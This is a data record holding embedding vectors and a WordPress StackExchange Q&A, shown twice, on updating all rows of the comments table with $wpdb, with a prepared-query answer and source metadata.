0.044097900390625, -0.0260467529296875, -0.0706787109375, 0.038665771484375, -0.0003407001495361328, 0.031585693359375, -0.024993896484375, -0.056793212890625, 0.00290679931640625, 0.0014896392822265625, -0.031982421875, -0.00019085407257080078, -0.01476287841796875, 0.0099334716796875, -0.019683837890625, 0.0230255126953125, -0.045379638671875, 0.020111083984375, 0.0222320556640625, -0.1268310546875, 0.007904052734375, 0.019378662109375, 0.02142333984375, -0.0133819580078125, -0.0175628662109375, -0.02874755859375, 0.038665771484375, 0.0052490234375, -0.018890380859375, -0.0110015869140625, -0.03338623046875, 0.00337982177734375, -0.01514434814453125, 0.0097503662109375, -0.0169830322265625, 0.04217529296875, -0.044403076171875, -0.047119140625, 0.0265350341796875, -0.011077880859375, -0.055999755859375, -0.0134124755859375, -0.00997161865234375, 0.0084991455078125, -0.01898193359375, 0.0247802734375, 0.04864501953125, 0.0147857666015625, -0.03399658203125, 0.000530242919921875, -0.0196685791015625, 0.03717041015625, -0.0276336669921875, -0.0310821533203125, 0.0033130645751953125, -0.08392333984375, -0.0083770751953125, 0.01415252685546875, 0.01546478271484375, -0.03497314453125, -0.04010009765625, -0.04266357421875, -0.007228851318359375, -0.0950927734375, -0.06964111328125, -0.03594970703125, -0.013092041015625, 0.00716400146484375, 0.03173828125, -0.01180267333984375, -0.0054168701171875, 0.0400390625, 0.0017595291137695312, 0.03765869140625, -0.021697998046875, 0.0159149169921875, 0.00165557861328125, -0.017333984375, -0.038909912109375, 0.0243988037109375, -0.02142333984375, 0.01030731201171875, 0.06988525390625, -0.00832366943359375, -0.08892822265625, -0.056793212890625, 0.0743408203125, -0.018280029296875, -0.0238037109375, -0.020355224609375, -0.040435791015625, 0.045867919921875, -0.0164947509765625, -0.00832366943359375, 0.005390167236328125, 0.022186279296875, -0.01146697998046875, 0.010162353515625, 0.01165771484375, 0.031982421875, -0.057647705078125, -0.0318603515625, 0.02532958984375, -0.025909423828125, -0.036590576171875, -0.06195068359375, 0.01346588134765625, -0.053558349609375, 0.0305633544921875, 0.029083251953125, -0.02203369140625, 0.025909423828125, -0.0031986236572265625, 0.004119873046875, -0.0187225341796875, 0.02667236328125, -0.0305633544921875, 0.037689208984375, 0.002880096435546875, 0.004482269287109375, -0.0085296630859375, 0.014617919921875, -0.00772857666015625, 0.0172882080078125, 0.01355743408203125, -0.0047454833984375, -0.01349639892578125, 0.01361846923828125, -0.025634765625, -0.06805419921875, 0.034912109375, -0.0557861328125, 0.006561279296875, -0.015838623046875, -0.02008056640625, 0.0209503173828125, 0.1025390625, -0.0157470703125, -0.003940582275390625, 0.0106964111328125, 0.025848388671875, -0.07171630859375, -0.047515869140625, -0.0487060546875, -0.00345611572265625, -0.0285491943359375, 0.018157958984375, 0.0023059844970703125, 0.01763916015625, -0.06317138671875, 0.06915283203125, -0.03857421875, -0.0114593505859375, 0.018096923828125, 0.0219268798828125, -0.030029296875, 0.01248931884765625, -0.03656005859375, 0.0143280029296875, -0.02294921875, 0.0014142990112304688, -0.037139892578125, -0.0219573974609375, -0.0232696533203125, 0.0550537109375, 0.00881195068359375, -0.0196533203125, -0.0198211669921875, 0.04791259765625, 0.009185791015625, 0.0216522216796875, 0.002910614013671875, -0.0212860107421875, 0.062469482421875, 0.055084228515625, 0.01751708984375, 0.017547607421875, -0.0239105224609375, 0.0121612548828125, -0.024658203125, 0.031951904296875, -0.0014066696166992188, -0.010162353515625, 0.038665771484375, -0.038726806640625, -0.01532745361328125, -0.0066986083984375, -0.024017333984375, 0.024871826171875, -0.0200347900390625, 0.00043201446533203125, -0.0257720947265625, -0.042938232421875, 0.0670166015625, 0.034637451171875, -0.0142059326171875, -0.0259246826171875, 0.08636474609375, 0.01129913330078125, -0.05078125, -0.063720703125, -0.0036373138427734375, 0.03839111328125, -0.0047149658203125, 0.032379150390625, -0.0070343017578125, -0.0504150390625, 0.10675048828125, 0.0028934478759765625, -0.004604339599609375, 0.0259246826171875, 0.032470703125, 0.00754547119140625, -0.0193023681640625, 0.0191650390625, -0.00453948974609375, -0.0284271240234375, 0.01274871826171875, 0.01629638671875, -0.004253387451171875, 0.0208892822265625, 0.018341064453125, 0.011383056640625, -0.041259765625, -0.032501220703125, -0.03314208984375, 0.0130615234375, 0.0260772705078125, -0.038909912109375, -0.0145416259765625, 0.01526641845703125, -0.0261993408203125, 0.02099609375, -0.003612518310546875, 0.004871368408203125, -0.032501220703125, -0.0014600753784179688, 0.00408935546875, 0.01458740234375, -0.003482818603515625, 0.027130126953125, -0.0193328857421875, 0.040985107421875, 0.027374267578125, -0.0207977294921875, 0.0457763671875, -0.0109405517578125, -0.011016845703125, 0.0021266937255859375, -0.0253753662109375, -0.006938934326171875, 0.014373779296875, 0.007785797119140625, 0.02923583984375, 0.03515625, -0.005847930908203125, -0.01262664794921875, 0.0107269287109375, 0.033355712890625, -0.00476837158203125, 0.03814697265625, 0.046051025390625, 0.044677734375, 0.01983642578125, -0.034271240234375, 0.0293426513671875, 0.019500732421875, 0.035736083984375, 0.02215576171875, -0.0287628173828125, 0.0085601806640625, 0.0045166015625, -0.0236358642578125, 0.03143310546875, 0.0250701904296875, 0.033782958984375, -0.0168914794921875, 0.0059051513671875, 0.01043701171875, -0.0230560302734375, -0.017822265625, -0.0194244384765625, 0.032073974609375, 0.0299530029296875, -0.01099395751953125, -0.0189971923828125, -0.0285186767578125, 0.012481689453125, 0.007701873779296875, 0.01105499267578125, -0.0129241943359375, -0.03302001953125, -0.00048279762268066406, 0.003032684326171875, 0.01528167724609375, -0.044036865234375, -0.04833984375, -0.0211029052734375, -0.04034423828125, -0.009002685546875, -0.05816650390625, 0.0024662017822265625, -0.00487518310546875, 0.00991058349609375, 0.0283355712890625, -0.01386260986328125, 0.0181121826171875, -0.01508331298828125, -0.01540374755859375, 0.0023746490478515625, 0.00945281982421875, 0.05084228515625, 0.006206512451171875, -0.053436279296875, -0.0119171142578125, -0.0635986328125, -0.032684326171875, -0.05584716796875, -0.038909912109375, -0.038818359375, 0.02386474609375, 0.0230865478515625, 0.04425048828125, -0.03546142578125, -0.046173095703125, -0.0033397674560546875, 0.00960540771484375, 0.013824462890625, 0.06683349609375, -0.018829345703125, 0.07537841796875, -0.01200103759765625, 0.043365478515625, 0.0268707275390625, 0.036651611328125, -0.021820068359375, -0.0102386474609375, 0.0208892822265625, 0.0089569091796875, -0.0101318359375, 0.005931854248046875, -0.0313720703125, -0.06878662109375, 0.01425933837890625, -0.00955963134765625, 0.002407073974609375, -0.03167724609375, -0.0104827880859375, -0.03802490234375, 0.048828125, -0.06024169921875, 0.02960205078125, -0.03997802734375, -0.0139007568359375, 0.0159759521484375, -0.018768310546875, 0.0303802490234375, -0.0007710456848144531, -0.0174407958984375, 0.007144927978515625, -0.00817108154296875, 0.0102996826171875, -0.0012950897216796875, 0.018524169921875, 0.00102996826171875, 0.03912353515625, 0.032623291015625, 0.03704833984375, 0.02789306640625, -0.0132598876953125, -0.040740966796875, -0.01259613037109375, -0.0260467529296875, -0.031707763671875, 0.005504608154296875, -0.03216552734375, 0.010528564453125, 0.0221099853515625, 0.11767578125, 0.07818603515625, -0.168212890625, 0.005939483642578125, -0.0010204315185546875, -0.009033203125, 0.0055389404296875, 0.0079193115234375, -0.0159912109375, -0.045501708984375, 0.033966064453125, -0.01654052734375, -0.0215606689453125, 0.01399993896484375, -0.00252532958984375, -0.0191192626953125, 0.004123687744140625, 0.03497314453125, 0.036590576171875, -0.0196990966796875, 0.018768310546875, 0.0078277587890625, 0.0294342041015625, -0.033355712890625, -0.00701141357421875, 0.0223388671875, -0.02752685546875, -0.08984375, -0.0023746490478515625, -0.02288818359375, -0.01436614990234375, 0.00168609619140625, 0.024139404296875, 0.002117156982421875, 0.06396484375, -0.033599853515625, 0.01239776611328125, 0.0259857177734375, 0.00933074951171875, -0.00995635986328125, 0.005756378173828125, 0.003368377685546875, -0.0033588409423828125, -0.0087738037109375, -0.004505157470703125, -0.032806396484375, -0.00612640380859375, -0.0060272216796875, -0.00881195068359375, 0.0140380859375, 0.033782958984375, -0.03228759765625, 0.0185394287109375, 0.002655029296875, 0.012115478515625, 0.0011539459228515625, -0.01342010498046875, -0.044525146484375, -0.033416748046875, -0.0086669921875, -0.049285888671875, 0.00862884521484375, 0.00397491455078125, -0.05206298828125, 0.11090087890625, -0.01433563232421875, 0.053436279296875, 0.037506103515625, 0.0285186767578125, -0.028472900390625, -0.007427215576171875, -0.0081787109375, -0.0004949569702148438, -0.002162933349609375, -0.01355743408203125, -0.0391845703125, -0.0018358230590820312, -0.01354217529296875, 0.04571533203125, 0.017486572265625, -0.01050567626953125, 0.032867431640625, 0.01451873779296875, 0.04852294921875, 0.042999267578125, 0.001468658447265625, -0.0224456787109375, -0.03314208984375, 0.0487060546875, 0.00528717041015625, -0.04144287109375, 0.02398681640625, 0.006443023681640625, -0.0631103515625, 0.002826690673828125, -0.0027217864990234375, -0.023468017578125, 0.0248260498046875, -0.0009326934814453125, -0.0265045166015625, 0.00958251953125, 0.00872039794921875, -0.031494140625, 0.018218994140625, 0.01384735107421875, 0.03814697265625, -0.0426025390625, -0.0005736351013183594, -0.03076171875, 0.043853759765625, 0.017578125, -0.0200347900390625, 0.009307861328125, 0.01198577880859375, -0.01068878173828125, -0.01552581787109375, -0.03656005859375, -0.00640869140625, 0.0143890380859375, 0.0093994140625, 0.0225830078125, 0.0321044921875, -0.0196380615234375, -0.011993408203125, -0.004108428955078125, 0.01763916015625, -0.0164031982421875, -0.01195526123046875, 0.01267242431640625, -0.0139617919921875, -0.01395416259765625, -0.0224609375, -0.01202392578125, -0.0102081298828125, 0.0011339187622070312, 0.027130126953125, -0.00399017333984375, -0.00012922286987304688, 0.0307159423828125, 0.0250244140625, 0.03900146484375, -0.03289794921875, 0.00555419921875, -0.0699462890625, 0.049407958984375, 0.01149749755859375, 0.06805419921875, 0.012908935546875, 0.06378173828125, -0.0160064697265625, -0.0350341796875, 0.01154327392578125, 0.025238037109375, 0.0221099853515625, -0.03155517578125, 0.00812530517578125, -0.01068878173828125, -0.0150299072265625, -0.0016422271728515625, 0.01715087890625, -0.0103302001953125, 0.07708740234375, 0.08740234375, -0.0214080810546875, -0.02874755859375, 0.002819061279296875, -0.002655029296875, -0.01010894775390625, -0.0438232421875, 0.01082611083984375, -0.004962921142578125, -0.0048675537109375, -0.0010156631469726562, 0.04400634765625, -0.0070648193359375, -0.0276641845703125, 0.026031494140625, -0.004993438720703125, -0.0478515625, 0.01776123046875, -0.020538330078125, 0.08697509765625, -0.0023670196533203125, 0.00569915771484375, 0.01277923583984375, -0.0220489501953125, -0.0384521484375, 0.0160064697265625, 0.02716064453125, -0.01248931884765625, 0.02264404296875, -0.00923919677734375, 0.0103759765625, 0.019073486328125, -0.0041961669921875, -0.0139617919921875, -0.03253173828125, 0.039337158203125, -0.03466796875, -0.07623291015625, -0.03912353515625, -0.048248291015625, 0.0311431884765625, -0.0009713172912597656, 0.042755126953125, 0.0029277801513671875, 0.02978515625, 0.00388336181640625, 0.0189666748046875, -0.01324462890625, -0.00234222412109375, 0.03076171875, 0.02313232421875, 0.0264739990234375, -0.034332275390625, -0.0269775390625, 0.006252288818359375, 0.0288238525390625, -0.04840087890625, 0.0209808349609375, -0.006183624267578125, -0.0002294778823852539, -0.037689208984375, 0.0259552001953125, -0.0272064208984375, -0.03271484375, -0.003383636474609375, 0.01197052001953125, 0.01038360595703125, 0.0242767333984375, -0.01204681396484375, 0.0244903564453125, -0.0134429931640625, -0.0203857421875, 0.037261962890625, -0.0272674560546875, 0.004302978515625, 0.0191497802734375, 0.0007252693176269531, 0.00957489013671875, -0.0160064697265625, -0.0284271240234375, 0.0155792236328125, 0.002559661865234375, -0.0011157989501953125, -0.0125885009765625, 0.064453125, -0.034576416015625, 0.01806640625, 0.0003809928894042969, -0.0172271728515625, 0.0026607513427734375, 0.0299530029296875, -0.03961181640625, -0.025726318359375, 0.00525665283203125, 0.0015621185302734375, -0.0167083740234375, 0.007282257080078125, 0.0156707763671875, 0.011077880859375, 0.01038360595703125, -0.0009889602661132812, -0.00830078125, 0.0159912109375, -0.0157623291015625, -0.0170440673828125, 0.009765625, -0.02227783203125, 0.00955963134765625, -0.030120849609375, -0.057952880859375, 0.0161590576171875, 0.0172119140625, -0.03778076171875, -0.04498291015625, -0.064453125, -0.0012769699096679688, -0.0653076171875, -0.0034732818603515625, 0.02398681640625, 0.01263427734375, -0.00432586669921875, 0.004993438720703125, 0.002529144287109375, 0.045654296875, -0.055023193359375, -0.0233154296875, 0.01238250732421875, 0.004024505615234375, -0.014404296875, -0.07330322265625, 0.0197906494140625, -0.0848388671875, 0.00449371337890625, 0.004489898681640625, -0.02911376953125, -0.01467132568359375, -0.058990478515625, -0.1048583984375, 0.06964111328125, -0.0163726806640625, -0.0257720947265625, -0.0018329620361328125, 0.037445068359375, -0.01361083984375, -0.015777587890625, 0.00360870361328125, -0.0171966552734375, 0.0212554931640625, -0.0137176513671875, 0.03814697265625, 0.01107025146484375, 0.019134521484375, 0.0302734375, -0.0180511474609375, 0.03717041015625, 0.0294342041015625, 0.01430511474609375, 0.022003173828125, -0.032318115234375, 0.0183868408203125, 0.0088958740234375, -0.04132080078125, -0.07635498046875, 0.00878143310546875, 0.0201263427734375, -0.02691650390625, -0.057830810546875, -0.061065673828125, -0.07769775390625, 0.10272216796875, 0.051055908203125, 0.034820556640625, -0.00670623779296875, 0.0472412109375, 0.00618743896484375, -0.0095367431640625, -0.006313323974609375, -0.0189361572265625, 0.006175994873046875, -0.00457000732421875, -0.01146697998046875, -0.004238128662109375, 0.041229248046875, 0.044769287109375, -0.01190948486328125, -0.0031223297119140625, 0.020416259765625, -0.038543701171875, -0.054168701171875, 0.0162200927734375, 0.04241943359375, -0.03515625, 0.009765625, -0.0133209228515625, 0.005939483642578125, 0.0194244384765625, 0.010894775390625, -0.0245819091796875, 0.00443267822265625, 0.02392578125, 0.0254669189453125, 0.0197906494140625, -0.027557373046875, 0.01035308837890625, 0.012054443359375, -0.0208740234375, 0.01371002197265625, 0.024749755859375, 0.0202789306640625, -0.0217742919921875, 0.003498077392578125, 0.030059814453125, -0.042572021484375, -0.002010345458984375, -0.037139892578125, -0.005939483642578125, 0.01415252685546875, -0.05352783203125, 0.00382232666015625, -0.027740478515625, -0.043792724609375, 0.0164031982421875, -0.0050811767578125, -0.0178375244140625, -0.03131103515625, -0.0033206939697265625, -0.048065185546875, -0.0229339599609375, 0.01444244384765625 ]
bb36189db28b1e7e7f4d2714d5581c158ec0d475
Wordpress Stackexchange Q: Updating all rows of table with $wpdb how to update all rows of an table with $wpdb? I tried this, but won't work: $wpdb->update( 'wp_comments, array( 'comment_karma' => '123' ), null ); and this $wpdb->update( 'wp_comments, array( 'comment_karma' => '123' ), array() ); So how to do this? Thanks in advance! A: It will not work as the update statement requires a selector to narrow down what to update. You should use a general query. For your needs use this: $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->comments SET `comment_karma` = %s", '123' ) );
Q: Updating all rows of table with $wpdb how to update all rows of an table with $wpdb? I tried this, but won't work: $wpdb->update( 'wp_comments, array( 'comment_karma' => '123' ), null ); and this $wpdb->update( 'wp_comments, array( 'comment_karma' => '123' ), array() ); So how to do this? Thanks in advance! A: It will not work as the update statement requires a selector to narrow down what to update. You should use a general query. For your needs use this: $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->comments SET `comment_karma` = %s", '123' ) );
wordpress
{ "language": "en", "length": 92, "provenance": "stackexchange_00019.jsonl.gz:486845", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/305861" }
[ 0.0555419921875, 0.01242828369140625, 0.00360870361328125, -0.0357666015625, 0.025238037109375, -0.03790283203125, 0.057891845703125, -0.0088653564453125, 0.029449462890625, 0.07196044921875, -0.053375244140625, -0.0294342041015625, 0.0253143310546875, 0.004444122314453125, -0.07501220703125, -0.036346435546875, 0.0474853515625, -0.036834716796875, 0.0280914306640625, 0.0019197463989257812, 0.01534271240234375, 0.0311431884765625, 0.0221710205078125, 0.0208740234375, 0.00897216796875, -0.036468505859375, 0.0859375, -0.01446533203125, 0.04571533203125, -0.0019359588623046875, 0.01873779296875, -0.03509521484375, 0.0092010498046875, 0.0181732177734375, -0.00949859619140625, -0.02252197265625, 0.025909423828125, -0.013885498046875, -0.0171966552734375, 0.057952880859375, 0.038421630859375, -0.013092041015625, -0.0218658447265625, 0.037200927734375, -0.0259552001953125, -0.0255889892578125, 0.0173492431640625, -0.01055908203125, 0.00801849365234375, -0.020233154296875, -0.0012416839599609375, 0.045013427734375, 0.0080108642578125, 0.0019121170043945312, 0.007610321044921875, 0.047027587890625, -0.032440185546875, 0.006191253662109375, 0.01934814453125, 0.00959014892578125, -0.007061004638671875, 0.00009167194366455078, -0.005126953125, -0.0145721435546875, -0.01296234130859375, 0.0019006729125976562, 0.09869384765625, 0.01369476318359375, 0.0003535747528076172, -0.0340576171875, 0.004611968994140625, 0.03350830078125, -0.018157958984375, -0.0038433074951171875, 0.042633056640625, -0.0035686492919921875, 0.0159149169921875, 0.00807952880859375, -0.018585205078125, 0.061065673828125, 0.0185394287109375, 0.0034885406494140625, 0.002834320068359375, 0.00997161865234375, -0.0217437744140625, -0.0105438232421875, -0.005077362060546875, -0.00787353515625, -0.048431396484375, -0.0123291015625, -0.026580810546875, -0.0239715576171875, -0.0794677734375, 0.01189422607421875, 0.040252685546875, -0.041015625, -0.0100555419921875, 0.0241241455078125, -0.0279998779296875, 0.0046844482421875, -0.00435638427734375, -0.0293121337890625, 0.0117034912109375, -0.034088134765625, 0.0189666748046875, -0.00846099853515625, 0.005908966064453125, -0.047637939453125, 0.0247039794921875, 0.0237579345703125, -0.0133514404296875, 0.0552978515625, -0.0294647216796875, -0.0030422210693359375, -0.01123046875, -0.0218505859375, -0.08233642578125, 0.037109375, -0.0133819580078125, -0.00858306884765625, -0.0239715576171875, 0.004486083984375, -0.075439453125, -0.0208892822265625, 0.0014057159423828125, -0.0440673828125, -0.01461029052734375, 0.06732177734375, -0.0218048095703125, -0.007778167724609375, -0.05145263671875, 0.03515625, 0.0889892578125, 0.0416259765625, 0.0269622802734375, -0.00688934326171875, 0.0072479248046875, 0.0255126953125, -0.002361297607421875, 0.018951416015625, 0.00852203369140625, -0.047088623046875, -0.0289306640625, 0.006237030029296875, -0.0018434524536132812, 0.005641937255859375, 0.01611328125, 0.0007448196411132812, -0.0008401870727539062, 0.0042877197265625, -0.033843994140625, 0.033538818359375, 0.0033931732177734375, 0.016693115234375, 0.045867919921875, -0.0303802490234375, 0.037994384765625, -0.03094482421875, 0.0190887451171875, -0.01239776611328125, 0.01666259765625, -0.021636962890625, 0.0164642333984375, -0.0289459228515625, -0.04376220703125, 0.01605224609375, -0.0732421875, -0.01522064208984375, 0.0394287109375, 0.03057861328125, -0.01554107666015625, -0.025909423828125, 0.102294921875, 0.034881591796875, -0.0124359130859375, 0.048583984375, -0.035430908203125, -0.0498046875, 0.04473876953125, -0.025848388671875, -0.04095458984375, -0.031524658203125, -0.0172882080078125, 0.0235748291015625, -0.0287628173828125, 0.029571533203125, 0.0106201171875, 0.060760498046875, 0.01241302490234375, 0.0238494873046875, 0.006587982177734375, 0.01263427734375, -0.03033447265625, 0.033111572265625, 0.0019216537475585938, -0.0308990478515625, -0.02587890625, 0.00031757354736328125, -0.023223876953125, -0.0391845703125, 0.01375579833984375, -0.028411865234375, 0.0018444061279296875, -0.0181884765625, -0.048980712890625, -0.0281982421875, -0.01125335693359375, 0.023834228515625, 0.00594329833984375, 0.03521728515625, 0.00748443603515625, 0.00717926025390625, -0.047271728515625, 0.025634765625, -0.0198211669921875, -0.05572509765625, -0.0197296142578125, 0.0606689453125, -0.00872039794921875, 0.06170654296875, -0.0228729248046875, -0.0718994140625, -0.01654052734375, -0.01416015625, -0.00807952880859375, -0.052581787109375, 0.007328033447265625, -0.028289794921875, 0.0216217041015625, -0.024078369140625, 0.052276611328125, 0.00827789306640625, 0.00565338134765625, 0.024169921875, -0.0255126953125, -0.00836944580078125, -0.0290069580078125, -0.0650634765625, 0.0022983551025390625, 0.054290771484375, 0.036346435546875, 0.00383758544921875, -0.00312042236328125, 0.00954437255859375, 0.042724609375, -0.0186004638671875, 0.00705718994140625, -0.0000737905502319336, 0.003566741943359375, 0.034271240234375, -0.015350341796875, -0.01189422607421875, 0.0246734619140625, -0.0308074951171875, -0.01081085205078125, 0.0570068359375, 0.0222015380859375, 0.07275390625, -0.048553466796875, 0.024261474609375, -0.0213775634765625, 0.0203704833984375, 0.0143280029296875, -0.0084228515625, 0.02783203125, -0.006103515625, 0.021453857421875, 0.0084991455078125, -0.03662109375, 0.01316070556640625, 0.035186767578125, 0.00884246826171875, 0.012542724609375, 0.048736572265625, -0.098388671875, 0.036590576171875, 0.0084075927734375, 0.0005445480346679688, -0.0225830078125, 0.0271759033203125, -0.02813720703125, 0.01399993896484375, 0.0248565673828125, -0.019775390625, -0.0010919570922851562, -0.013824462890625, 0.0167694091796875, -0.0474853515625, -0.056243896484375, -0.01407623291015625, 0.019744873046875, 0.0540771484375, 0.018341064453125, -0.00733184814453125, -0.0025768280029296875, 0.0123443603515625, 0.035736083984375, -0.05963134765625, 0.032623291015625, -0.034271240234375, 0.039154052734375, 0.0650634765625, 0.0011320114135742188, -0.0115509033203125, 0.002254486083984375, -0.00562286376953125, 0.0249786376953125, 0.0211944580078125, 0.01238250732421875, -0.0159759521484375, -0.01123046875, 0.035369873046875, 0.0201263427734375, 0.099853515625, -0.017913818359375, -0.056640625, 0.023956298828125, 0.054840087890625, -0.042266845703125, -0.08966064453125, 0.02435302734375, -0.0107879638671875, -0.0158233642578125, -0.0290679931640625, -0.01280975341796875, 0.00974273681640625, -0.0330810546875, -0.01025390625, -0.00592803955078125, 0.008697509765625, -0.0006012916564941406, -0.0159454345703125, -0.03790283203125, -0.0270538330078125, 0.0031681060791015625, 0.016876220703125, 0.004100799560546875, 0.0537109375, -0.0015087127685546875, -0.043548583984375, -0.0133819580078125, 0.00775909423828125, -0.01326751708984375, -0.00713348388671875, 0.0537109375, -0.048736572265625, -0.0006084442138671875, -0.0091552734375, 0.01424407958984375, 0.05609130859375, -0.046112060546875, 0.01161956787109375, 0.01064300537109375, 0.006237030029296875, 0.04412841796875, -0.0072174072265625, -0.0235137939453125, 0.0311279296875, 0.034027099609375, -0.029937744140625, 0.0013217926025390625, -0.0236053466796875, -0.0231781005859375, -0.006023406982421875, 0.007213592529296875, 0.00922393798828125, -0.0160980224609375, 0.0159912109375, 0.05828857421875, 0.03363037109375, 0.036865234375, 0.020050048828125, -0.0259857177734375, -0.0015583038330078125, 0.010009765625, -0.048004150390625, -0.00611114501953125, -0.04058837890625, 0.020111083984375, -0.020294189453125, -0.00989532470703125, -0.01007843017578125, 0.022125244140625, -0.024139404296875, -0.0164337158203125, 0.041015625, -0.0024623870849609375, 0.032928466796875, -0.052398681640625, -0.02044677734375, -0.0263519287109375, 0.07159423828125, 0.0205078125, -0.032257080078125, -0.0299835205078125, 0.0109100341796875, -0.0391845703125, -0.0198211669921875, 0.016754150390625, 0.0084686279296875, -0.0233917236328125, 0.01468658447265625, -0.0065765380859375, -0.0141143798828125, -0.0091552734375, -0.0031223297119140625, -0.00557708740234375, -0.0225372314453125, 0.022857666015625, -0.02728271484375, -0.0236053466796875, 0.029022216796875, -0.05181884765625, 0.0133209228515625, -0.006969451904296875, -0.02044677734375, -0.05615234375, 0.0022735595703125, -0.0196075439453125, 0.03143310546875, 0.00432586669921875, 0.0208740234375, -0.0190887451171875, 0.01007080078125, -0.037200927734375, 0.0222625732421875, -0.027191162109375, 0.051605224609375, -0.09210205078125, -0.0223236083984375, -0.005420684814453125, -0.04180908203125, -0.0148162841796875, -0.032379150390625, 0.005695343017578125, 0.0168914794921875, -0.0379638671875, 0.0216827392578125, -0.034515380859375, 0.004756927490234375, 0.0140533447265625, -0.01468658447265625, -0.0214080810546875, 0.05853271484375, -0.0186920166015625, 0.003032684326171875, -0.056121826171875, -0.03875732421875, 0.0626220703125, -0.019317626953125, -0.012542724609375, -0.0020885467529296875, 0.06488037109375, 0.0117340087890625, -0.03515625, -0.037078857421875, -0.00347900390625, 0.045928955078125, 0.00409698486328125, 0.0288848876953125, 0.0322265625, -0.0364990234375, 0.037689208984375, 0.053131103515625, 0.007129669189453125, 0.0164031982421875, 0.053863525390625, 0.0014295578002929688, -0.01904296875, 0.022979736328125, -0.006267547607421875, -0.03363037109375, 0.020050048828125, -0.0026683807373046875, 0.011871337890625, -0.0347900390625, 0.007808685302734375, 0.02587890625, -0.004657745361328125, -0.0244598388671875, -0.051361083984375, 0.0178680419921875, -0.03448486328125, 0.050567626953125, -0.0172882080078125, 0.01171112060546875, 0.0345458984375, 0.024566650390625, 0.002162933349609375, -0.00606536865234375, 0.035003662109375, -0.01302337646484375, 0.031524658203125, 0.00368499755859375, 0.0006833076477050781, -0.043365478515625, -0.01123046875, 0.062103271484375, -0.010009765625, -0.06787109375, 0.0219879150390625, -0.01450347900390625, 0.031402587890625, 0.0284881591796875, 0.00855255126953125, 0.058135986328125, 0.0296783447265625, -0.0054779052734375, -0.01434326171875, -0.0293121337890625, 0.01404571533203125, -0.0531005859375, 0.0443115234375, 0.056732177734375, -0.03680419921875, -0.01125335693359375, 0.0254669189453125, 0.044158935546875, -0.0175628662109375, -0.0159454345703125, 0.06817626953125, 0.0178375244140625, 0.04974365234375, 0.0109100341796875, -0.0025310516357421875, -0.00443267822265625, 0.01560211181640625, -0.039398193359375, -0.0215301513671875, 0.0156707763671875, 0.048553466796875, 0.041717529296875, 0.034820556640625, -0.0092926025390625, -0.030517578125, -0.032073974609375, 0.0007138252258300781, 0.0310516357421875, 0.01473236083984375, -0.03668212890625, -0.02593994140625, -0.0033550262451171875, 0.022430419921875, -0.007785797119140625, 0.01300048828125, -0.04022216796875, -0.06085205078125, -0.018218994140625, -0.0138397216796875, 0.0228424072265625, -0.052215576171875, -0.0748291015625, -0.01473236083984375, -0.0286865234375, -0.052703857421875, 0.0084075927734375, -0.004779815673828125, 0.0018625259399414062, -0.01236724853515625, 0.028106689453125, 0.00270843505859375, 0.0070648193359375, -0.033966064453125, -0.0011539459228515625, -0.032806396484375, -0.01399993896484375, 0.07318115234375, 0.035400390625, 0.033599853515625, -0.0159912109375, -0.0306549072265625, -0.021392822265625, -0.0249176025390625, -0.07525634765625, -0.01535797119140625, -0.02667236328125, 0.024444580078125, 0.0184783935546875, 0.0139007568359375, -0.0311279296875, -0.01422119140625, -0.005191802978515625, 0.0174713134765625, 0.00951385498046875, -0.0039043426513671875, 0.0897216796875, -0.0101776123046875, 0.01296234130859375, 0.017486572265625, 0.053497314453125, -0.0283660888671875, 0.004840850830078125, 0.022308349609375, -0.024322509765625, -0.014617919921875, -0.0194091796875, -0.030242919921875, -0.048492431640625, -0.004398345947265625, -0.0018930435180664062, 0.065185546875, -0.040985107421875, -0.010772705078125, -0.0250091552734375, 0.035797119140625, -0.091064453125, 0.04193115234375, 0.033966064453125, 0.013824462890625, 0.041259765625, -0.03497314453125, -0.004817962646484375, -0.0005230903625488281, -0.007732391357421875, 0.009521484375, 0.002986907958984375, -0.027313232421875, 0.048797607421875, 0.058197021484375, -0.003139495849609375, 0.040618896484375, -0.00702667236328125, 0.0127105712890625, 0.041839599609375, -0.0004944801330566406, 0.004669189453125, 0.002140045166015625, 0.05670166015625, -0.001132965087890625, 0.00003844499588012695, 0.0279693603515625, -0.0255584716796875, 0.0294036865234375, 0.035430908203125, 0.07293701171875, -0.07696533203125, 0.0289306640625, 0.0191497802734375, 0.001987457275390625, 0.045806884765625, 0.0021839141845703125, -0.037689208984375, -0.0294036865234375, 0.0195159912109375, -0.0295257568359375, -0.02520751953125, 0.006740570068359375, 0.0202484130859375, 0.006439208984375, -0.029144287109375, 0.02490234375, -0.01140594482421875, -0.033050537109375, 0.003635406494140625, 0.036590576171875, -0.0284881591796875, 0.00029850006103515625, -0.0203399658203125, 0.038726806640625, -0.01654052734375, -0.045074462890625, 0.03228759765625, -0.0467529296875, -0.00888824462890625, 0.01198577880859375, 0.006977081298828125, 0.0018024444580078125, 0.03167724609375, -0.00928497314453125, 0.001972198486328125, 0.01531982421875, -0.02105712890625, -0.09429931640625, -0.01424407958984375, -0.003871917724609375, 0.0223846435546875, 0.0157623291015625, 0.025238037109375, -0.034454345703125, -0.00823211669921875, 0.01197052001953125, -0.0122222900390625, 0.01065826416015625, -0.050201416015625, 0.0038051605224609375, 0.0175323486328125, 0.0125885009765625, 0.018341064453125, 0.0009412765502929688, -0.018829345703125, -0.0518798828125, -0.012939453125, -0.0057373046875, -0.032073974609375, 0.0083465576171875, 0.0019311904907226562, -0.0439453125, 0.1002197265625, 0.0246429443359375, -0.0123443603515625, 0.0226287841796875, 0.04327392578125, -0.0650634765625, 0.0040283203125, -0.02911376953125, 0.016845703125, -0.033355712890625, 0.053863525390625, -0.0015993118286132812, 0.016326904296875, 0.03814697265625, -0.005481719970703125, 0.0104217529296875, -0.00933074951171875, -0.026153564453125, -0.01380157470703125, 0.03936767578125, 0.0447998046875, 0.030120849609375, 0.0159454345703125, -0.0258331298828125, -0.020751953125, 0.023773193359375, -0.0103607177734375, 0.0220947265625, -0.014984130859375, -0.0196990966796875, -0.0239410400390625, 0.0290985107421875, 0.039947509765625, -0.0018491744995117188, 0.06781005859375, 0.017242431640625, -0.0145111083984375, 0.0064697265625, -0.035003662109375, -0.0240631103515625, 0.0386962890625, 0.0209808349609375, -0.00919342041015625, 0.004840850830078125, -0.031951904296875, 0.0291900634765625, 0.01898193359375, 0.0217132568359375, 0.046356201171875, 0.007720947265625, 0.08154296875, 0.021240234375, 0.01023101806640625, 